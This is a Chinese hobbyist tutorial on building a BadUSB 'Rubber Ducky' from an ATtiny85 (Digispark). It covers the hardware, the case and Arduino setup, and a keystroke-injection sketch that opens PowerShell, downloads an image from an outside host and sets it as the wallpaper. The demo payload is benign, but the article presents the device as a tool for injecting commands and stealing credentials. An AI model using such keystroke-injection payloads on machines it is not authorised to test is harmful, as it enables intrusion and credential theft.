单片机
返回首页

使用ATtiny85自制USB Rubber Ducky(橡皮鸭)

2022-07-25 来源:csdn

USB Rubber Ducky或Bad USB是一种著名的攻击工具,它看起来像U盘,但是插入任何未锁定的设备时就像键盘一样。 USB Rubber Ducky允许攻击者对USB设备中的微控制器进行编程以执行各种任务。可以对其进行编程,将击键和二进制文件注入系统,获取缓存的密码来入侵系统,窃取受害者的凭据数据,并可以向受害者的系统注入rubber ducky payload。 USB Rubber Ducky的最重要功能是,它充当HID设备,因此任何防病毒或系统防火墙都无法检测到它。


USB Rubber Ducky并非在每个国家都容易获得,而且价格也非常昂贵。因此,在本篇文章中,我们将使用ATtiny85单片机来制造一个Digispark Rubber Ducky。该项目包括两部分,第一部分是在ATtiny85上传引导加载程序,第二部分是将USB公头与ATtiny85连接。


制作USB Rubber Ducky所需的组件

●    ATtiny85微控制器

●    USB A型插头

●    3个电阻(2×47Ω和1×1KΩ)

●    3个二极管(2×齐纳二极管和1×IN5819二极管)

●    8引脚IC基座

●    连接线


USB Rubber Ducky电路图

下面给出了ATtiny85 Rubber Ducky USB的示意图。



R3是一个上拉电阻,连接在IC的Vcc和PB3引脚之间,同时添加了齐纳二极管(D1-D2)以提供USB接口保护。这些保护二极管不是必需的,因此,如果您要构建比这更紧凑的电路,则可以将其卸下。


将所有组件焊接在万能板上之后,其外观将如下所示:



3D打印ATtiny85 USB的外壳

接下来,用游标卡尺测量设置的尺寸设计外壳。完成后,设计如下所示:



对设计满意之后,我将其导出为STL文件,根据打印机设置对其进行了切片,最后进行了打印。 STL文件也可以从Thingiverse下载,您可以使用它打印自己的外壳。


打印完成后,完成连接,我将电路板组装到了机壳中,所有组件都非常合适,如下所示。



安装Digispark驱动程序

要使用USB对ATtiny85进行编程,必须在笔记本电脑上安装Digispark驱动程序。如果您没有它们,可以通过单击Digispark驱动程序链接进行下载。然后,解压缩该zip文件并双击“ DPinst64.exe”应用程序以安装驱动程序。


成功安装驱动程序后,将ATtiny85电路板插入笔记本电脑。现在,转到设备管理器,您的设备将在“ libusb-win32设备”下列为“Digispark Boot-loader”。如果您无法在设备管理器中找到“ libusb-win32设备”,请转到“查看”并单击“显示隐藏的设备”。



设置Arduino IDE

要使用Arduino IDE编程ATtiny85开发板,首先,我们需要将Digispark开发板支持添加到Arduino IDE。为此,请转到文件>首选项,然后将以下链接添加到Additional Boards Manager URLs中,然后单击“确定”。

http://digistump.com/package_digistump_index.json



之后,转到工具>板>板管理器,然后搜索“ Digistump AVR”并安装最新版本。



安装后,您在Board菜单中看到一个名为“ Digispark”的新条目。



为橡皮鸭USB编程ATtiny85

安装驱动程序并设置Arduino IDE之后,现在我们将对ATtiny85进行编程,以下载图像并将其通过Windows PowerShell设置为墙纸。在这里,我们解释脚本的一些重要命令。


首先在代码中包含“DigiKeyboard.h”库。 DigiKeyboard库使ATtiny85可以通过其微型USB端口将击键发送到所连接的计算机。

  1. #include 'DigiKeyboard.h'

复制代码


然后在loop函数中,发送击键以显示桌面(Windows + D),一段时间后,通过发送Windows + R击键打开“运行”对话框。

  1. DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);

  2. DigiKeyboard.delay(500);

  3. DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT)

复制代码

然后使用DigiKeyboard.print()函数转到Windows Powershell。

  1. DigiKeyboard.print('powershell');

  2. DigiKeyboard.sendKeyStroke(KEY_ENTER);

复制代码

现在在Powershell中,使用System.Net.WebClient类下载Internet数据。

  1. DigiKeyboard.print('$client = new-object System.Net.WebClient');

  2. DigiKeyboard.sendKeyStroke(KEY_ENTER);

复制代码

然后在下一个命令中,输入带有文件名(hacker.jpg)的图像地址,以将其保存在笔记本电脑上。

  1. DigiKeyboard.print('$client.DownloadFile('https://cdn.hipwallpaper.com/i/50/39/7r5nC6.jpg' , 'hacker.jpg')');

  2. DigiKeyboard.sendKeyStroke(KEY_ENTER);

复制代码


然后在接下来的代码中,打开控制面板并将下载的图像设置为墙纸。

  1. DigiKeyboard.print('reg add 'HKCU\Control Panel\Desktop' /v WallPaper /d '%USERPROFILE%\hacker.jpg' /f');

  2. DigiKeyboard.sendKeyStroke(KEY_ENTER);

  3. DigiKeyboard.delay(500);

  4. DigiKeyboard.print('RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True');

复制代码


测试ATtiny85橡胶鸭

完成这些步骤后,创建一个新的草图,然后在IDE中复制并粘贴给定的代码。然后选择“ Digispark(Default – 16mhz)”作为板卡类型,然后单击左上方的上载按钮。编译草图,然后Arduino IDE将提示您在60秒内插入ATtiny85 USB。



插入ATtiny85 USB后,Arduino IDE将代码上传到微控制器,然后执行微控制器给出的命令来更改笔记本电脑的墙纸。这只是USB Rubber Ducky的工作方式的一个示例,但是通过它可以完成很多事情。


以上就是使用ATtiny85来运行Digispark Rubber Ducky脚本的方式


进入单片机查看更多内容>>
相关视频
  • 【TI MSPM0 应用实战】智能小车+工业角度编码器+血氧仪+烟雾探测器!硬核参考设计详解!

  • 2022 Digi-Key KOL 系列: 你见过1GHz主频的单片机吗?Teensy 4.1开发板介绍

  • TI 新一代 C2000™ 微控制器:全方位助力伺服及马达驱动应用

  • MSP430电容触摸技术 - 防水Demo演示

  • 直播回放: Microchip Timberwolf™ 音频处理器在线研讨会

  • 基于灵动MM32W0系列MCU的指夹血氧仪控制及OTA升级应用方案分享

精选电路图
  • 双极性电源

  • LM350 3安培可调稳压器

  • 30V/10A可调式台式直流稳压电源

  • DIY USB 5V 太阳能电源包

  • 铃声发生器

  • 电容式传感器

    相关电子头条文章